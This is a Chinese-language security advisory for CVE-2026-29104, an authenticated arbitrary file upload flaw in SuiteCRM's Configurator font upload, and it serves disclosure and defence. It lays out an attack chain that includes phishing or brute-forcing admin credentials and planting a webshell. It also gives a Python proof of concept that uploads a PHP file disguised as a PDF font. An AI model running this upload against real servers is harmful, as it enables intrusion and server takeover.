IPBUF安全漏洞报告
English
CVE-2026-29104 CVSS 2.7 低危

CVE-2026-29104 SuiteCRM 认证后任意文件上传漏洞

披露日期: 2026-03-19

漏洞信息

漏洞编号
CVE-2026-29104
漏洞类型
任意文件上传
CVSS评分
2.7 低危
攻击向量
网络 (AV:N)
认证要求
高权限 (PR:H)
用户交互
无需交互 (UI:N)
影响产品
SuiteCRM

相关标签

SuiteCRM文件上传认证绕过CVE-2026-29104

漏洞概述

SuiteCRM 7.15.1和8.9.3之前版本存在认证后任意文件上传漏洞。经过身份验证的管理员在Configurator模块上传PDF字体文件时,可绕过文件类型限制,上传任意文件至服务器。尽管上传目录默认不可直接访问,但这破坏了安全边界,可能与其他漏洞结合导致更严重的安全后果,建议及时修复。

技术细节

该漏洞源于SuiteCRM的Configurator模块在处理PDF字体文件上传时,未能严格验证文件内容的真实类型,导致安全校验机制存在缺陷。攻击者需具备高权限管理员账号,先登录后台,随后访问Configurator模块接口。利用时,攻击者构造包含恶意代码的文件,通过修改文件扩展名或Content-Type绕过服务器端限制,将其成功写入服务器指定目录。尽管默认配置下该目录不可直接通过Web访问,但这已破坏了服务器文件系统的完整性边界。若结合后续的文件包含或路径遍历等漏洞,攻击者可能触发恶意代码执行,从而完全控制服务器,造成严重安全风险。建议尽快修补。

攻击链分析

STEP 1
1. 信息收集
识别目标是否运行SuiteCRM,并确定其版本低于7.15.1或8.9.3。
STEP 2
2. 初始访问
获取管理员级别的凭证(通过钓鱼、暴力破解或其他手段)。
STEP 3
3. 漏洞利用
使用管理员账户登录后台,访问Configurator模块,构造恶意请求上传任意文件(如Webshell)。
STEP 4
4. 后渗透
虽然无法直接访问上传文件,但寻找其他漏洞(如文件包含)来执行上传的恶意代码,从而控制服务器。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # CVE-2026-29104 Proof of Concept # Description: Authenticated arbitrary file upload in SuiteCRM Configurator module. # Requirement: Administrator credentials. target = "http://localhost/suitecrm" username = "admin" password = "admin" session = requests.Session() # Step 1: Authenticate login_data = { "user_name": username, "user_password": password, "module": "Users", "action": "Login" } print("[*] Attempting to login...") session.post(f"{target}/index.php", data=login_data) # Step 2: Exploit File Upload # The vulnerability allows bypassing file type restrictions in the Configurator module. # Uploading a PHP webshell as a PDF font file. upload_url = f"{target}/index.php?module=Configurator&action=SaveFont" files = { "file_font": ("malicious.php", "<?php phpinfo(); ?>", "application/pdf") } data = { "upload": "true" } print("[*] Uploading malicious file...") response = session.post(upload_url, files=files, data=data) if response.status_code == 200: print("[+] File uploaded successfully. Check server.") else: print("[-] Upload failed.")

影响范围

SuiteCRM < 7.15.1
SuiteCRM < 8.9.3

防御指南

临时缓解措施
建议立即升级到修复版本。如果无法立即升级,应限制对Configurator模块的访问权限,并密切监控服务器文件系统中的异常文件创建。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表